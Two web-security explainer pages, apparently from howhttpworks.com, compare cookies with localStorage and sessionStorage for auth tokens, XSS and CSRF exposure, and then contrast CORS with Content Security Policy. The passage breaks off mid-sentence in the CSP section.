localStorage vs sessionStorage: What to Use > Cookies vs localStorage vs sessionStorage: request behavior, size limits, expiry, tab scope, partitioning, XSS and CSRF risks, and auth token choices. Source: https://howhttpworks.com/compare/cookies-vs-localstorage Last reviewed: 2026-10-05 > **TL;DR:** Use cookies for anything the server needs on every request, localStorage for preferences that should survive a restart, and sessionStorage for per-tab state. For logins, an HttpOnly session cookie plus CSRF protection is the safe default. Any script on your origin can read localStorage and sessionStorage, so neither one protects a token from XSS. ## Side By Side | Property | Cookies | localStorage | sessionStorage | |---|---|---|---| | Sent on HTTP requests | Automatically when cookie scope, credentials mode, and browser policy allow | No; application code must send values | No; application code must send values | | JavaScript access | Allowed unless `HttpOnly` | Read/write | Read/write | | Size | 4096-octet name-plus-value check in RFC 6265bis; see below | MDN documents up to 5 MiB per origin | MDN documents up to 5 MiB per origin | | Expiry | `Max-Age` / `Expires`, or a browser-defined session | No built-in expiry | Ends with the page session; survives reloads | | Sharing across tabs | Matching cookies are available to requests from multiple tabs in the same cookie partition | Shared for the same origin and storage partition | Separate per origin and top-level tab | | Scope | Host/domain and path rules; partitioning may add a top-level-site key | Origin, with possible extra browser partitioning | Origin and tab, with possible extra browser partitioning | The request behavior comes from [MDN's cookie guide](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Cookies) and [Fetch credentials modes](https://developer.mozilla.org/en-US/docs/Web/API/Request/credentials); the lifetime and tab rules from MDN's [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) and [sessionStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage) pages. Privacy settings can block or clear any of them, so build for storage being unavailable. ## When To Use Each **Cookie: a server-backed session.** The server creates a session ID and sets it in a cookie. This example response (trimmed, like the others here) gives it a 30-minute lifetime: ```http HTTP/1.1 200 OK Content-Length: 0 Set-Cookie: __Host-session=example-session-id; Path=/; Secure; HttpOnly; SameSite=Lax; Max-Age=1800 ``` The `__Host-` prefix makes supporting browsers insist on `Secure`, `Path=/`, and no `Domain` attribute. `HttpOnly` hides the cookie from scripts, but the browser still sends it on matching requests. See [MDN's attribute and prefix rules](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie). Expire the session on the server too. The cookie's `Max-Age` controls when the browser drops it, but only the server can actually end a session. **localStorage: a browser-only preference.** Say, the user's preferred table density, remembered between visits. **sessionStorage: a per-tab draft.** Say, an unsent filter expression that shouldn't leak into another tab: ```javascript try { localStorage.setItem('table-density', 'compact'); sessionStorage.setItem('draft-filter', 'status:open'); } catch (error) { // Continue with in-memory UI state when persistence is unavailable. console.warn('Browser storage unavailable:', error.name); } ``` [WHATWG defines both as string key/value stores](https://html.spec.whatwg.org/multipage/webstorage.html). `setItem()` throws `QuotaExceededError` when storage is full, and just touching `localStorage` can throw `SecurityError` when a policy blocks it ([MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage)). Wrap access in `try`, and make sure the table still renders without it. ## Size Limits: Bytes Are Not Characters As of 2026-10-05, **RFC 6265bis is still a draft in the RFC Editor's final review**, not a published RFC; see its [Datatracker status](https://datatracker.ietf.org/doc/draft-ietf-httpbis-rfc6265bis/). Its [§5.6 parsing algorithm](https://httpwg.org/http-extensions/draft-ietf-httpbis-rfc6265bis.html#section-5.6) rejects a cookie whose **name plus value exceeds 4096 bytes**. The `=` and the attributes don't count toward that. It's a rule about name and value, not a cap on the whole `Set-Cookie` line, and browsers vary near the edge. Stay well under it and check in DevTools that the browser kept the cookie. For Web Storage, [MDN documents 5 MiB of localStorage and 5 MiB of sessionStorage per origin](https://developer.mozilla.org/en-US/docs/Web/API/Storage_API/Storage_quotas_and_eviction_criteria#web_storage). That's for the whole origin, not per key, and it's a fixed cap rather than a share of disk like IndexedDB gets. The WHATWG spec doesn't fix a number; its [storage algorithm](https://html.spec.whatwg.org/multipage/webstorage.html#dom-storage-setitem) just says `setItem()` fails when the value can't be stored. So catch that failure instead of trying to predict capacity from string lengths. ## Auth Tokens: XSS And CSRF Are Separate Problems If your backend can own the session, an **HttpOnly, Secure cookie** is a good default, because the frontend never needs to read the credential. [OWASP's HTML5 cheat sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#local-storage) specifically advises against keeping session identifiers in localStorage, since JavaScript can read them. sessionStorage has the same problem. Its shorter lifetime narrows the window, but a script reads it just as easily. HttpOnly stops a script from stealing the cookie. It doesn't stop an injected script from acting as the user, because the browser still attaches the cookie to the requests that script makes. Cookie authentication also needs CSRF protection, since the browser attaches the cookie to requests an attacker's page triggers too. Use your framework's CSRF mechanism on state-changing requests and pick a `SameSite` value on purpose. [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html) treats SameSite as one layer with known gaps, such as sibling hosts on the same site, and points out that XSS can get around CSRF defenses. If your frontend sends a bearer token straight to an API, your script has to be able to read it, and an HttpOnly cookie can't fill in an `Authorization` header. Two common options: keep the access token in memory and fetch a new one after a reload, or put a backend in front that holds the API credential and gives the browser a cookie session. If you really need to persist the token, write down why, and keep its lifetime and permissions small. Memory just limits how long the token sticks around; malicious code running in your app can read it all the same. Sending a token yourself sidesteps classic CSRF, which relies on the browser attaching cookies automatically, **as long as the endpoint accepts only that token**. If it also accepts a cookie, CSRF is back on the table, and XSS was never off it. Judge the risk by how the server actually authenticates the request, not by which storage API holds the token. ## Expiry, Tabs, And Partitioning localStorage entries never expire on their own. A JWT's [expiry claim](https://www.rfc-editor.org/rfc/rfc7519.html#section-4.1.4) decides whether a server accepts the token; the string itself sits in storage until something deletes it. sessionStorage survives reloads and lasts until the page session ends. A tab opened from another page can start with a **copy** of the opener's sessionStorage, and from then on the two are independent ([MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage)). Cookies with no `Expires` or `Max-Age` are session cookies, but a browser's session restore can bring them back ([MDN Set-Cookie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie#expiresdate)). So "close the browser to log out" isn't a way to end a session; revoke it on the server. An embedded widget may see different storage depending on which site embeds it. [MDN's state-partitioning guide](https://developer.mozilla.org/en-US/docs/Web/Privacy/Guides/State_Partitioning) describes Firefox splitting third-party Web Storage by top-level site. For cookies, [CHIPS](https://developer.mozilla.org/en-US/docs/Web/Privacy/Guides/Third-party_cookies/Partitioned_cookies) adds a `Partitioned` attribute (which requires `Secure`) that gives each top-level site its own cookie jar. Browsers differ here, so test the widget embedded on two different sites, not just by visiting it directly. ## The Common Mistake Moving a login token to sessionStorage and calling it XSS protection. Both Web Storage APIs hand their values to any script on the origin. The other version of this mistake is moving the token into a cookie without HttpOnly. Scripts can still read it, and now the browser sends it automatically too, which opens you to CSRF. Check the actual cookie flags and how the server authenticates before you call the change an improvement. ## Check On The Wire And In DevTools In Chrome, open **Application → Storage → Cookies**, **Local Storage**, and **Session Storage** for your origin. For each cookie, check `HttpOnly`, `Secure`, `SameSite`, expiry, and partition key. Then switch to Network and look at a request's **Cookie** header, because a cookie being stored doesn't mean a given request sent it. Chrome documents the [cookie](https://developer.chrome.com/docs/devtools/application/cookies), [localStorage](https://developer.chrome.com/docs/devtools/storage/localstorage), and [sessionStorage](https://developer.chrome.com/docs/devtools/storage/sessionstorage) panels. To check what the server sends, point this at your staging route: ```bash curl -sS -D - -o /dev/null https://example.com/session ``` Look for `Set-Cookie` and its attributes. curl shows what the server sent, not what a browser did with it: acceptance, SameSite enforcement, partitioning and localStorage all need DevTools. And if an HttpOnly cookie is missing from `document.cookie`, that's the flag working. Check the request header and the cookie panel instead. ## Related - [Set-Cookie](https://howhttpworks.com/headers/set-cookie) and [Cookie](https://howhttpworks.com/headers/cookie) - [Cookie security](https://howhttpworks.com/guides/cookie-security) and [SameSite](https://howhttpworks.com/cookies/same-site) - [Cookies vs sessions](https://howhttpworks.com/compare/cookie-vs-session) --- # CORS vs CSP > Understand the difference between CORS and Content Security Policy. Both are browser security mechanisms but they protect against completely different threats. Source: https://howhttpworks.com/compare/cors-vs-csp Last reviewed: 2026-10-04 > **TL;DR:** CORS controls which origins can read your API responses (protects your server from unauthorized cross-origin reads). CSP controls which resources your page can load (protects your users from injected malicious content). ## The Core Difference CORS and CSP are both browser security mechanisms enforced via HTTP headers, but they protect against entirely different threats: **CORS (Cross-Origin Resource Sharing)** controls which origins can read responses from your server. It protects your API and data from being accessed by unauthorized websites. **CSP (Content Security Policy)** controls which resources your page is allowed to load and execute. It protects your users from malicious content injected into your page (XSS attacks). Think of it this way: CORS is about who can talk to your server. CSP is about what your page is allowed to do. ## Threat Model Comparison | | CORS | CSP | |---|---|---| | Protects against | Unauthorized cross-origin reads | XSS / content injection | | Who is protected | Your server / API | Your users | | Enforced by | Browser (on responses) | Browser (on page loads) | | Configured on | The server being called | The page serving the HTML | | Header direction | Response header from API | Response header from page | ## How CORS Works When a browser makes a cross-origin request (e.g., `app.example.com` fetching from `api.example.com`), it checks the response for `Access-Control-Allow-Origin`. If the header is absent or doesn't match the requesting origin, the browser blocks the JavaScript from reading the response. The request still reaches the server — CORS is not a firewall. It only controls whether the browser exposes the response to the requesting page's JavaScript. ```http # Allow a specific origin to read responses Access-Control-Allow-Origin: https://app.example.com # Allow any origin (public APIs only) Access-Control-Allow-Origin: * ``` ## How CSP Works CSP is a header sent with your HTML page that tells the browser which sources are trusted for scripts, styles, images, fonts, and other resources. ```http # Only load scripts from same origin and a trusted CDN Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com ``` If an attacker injects `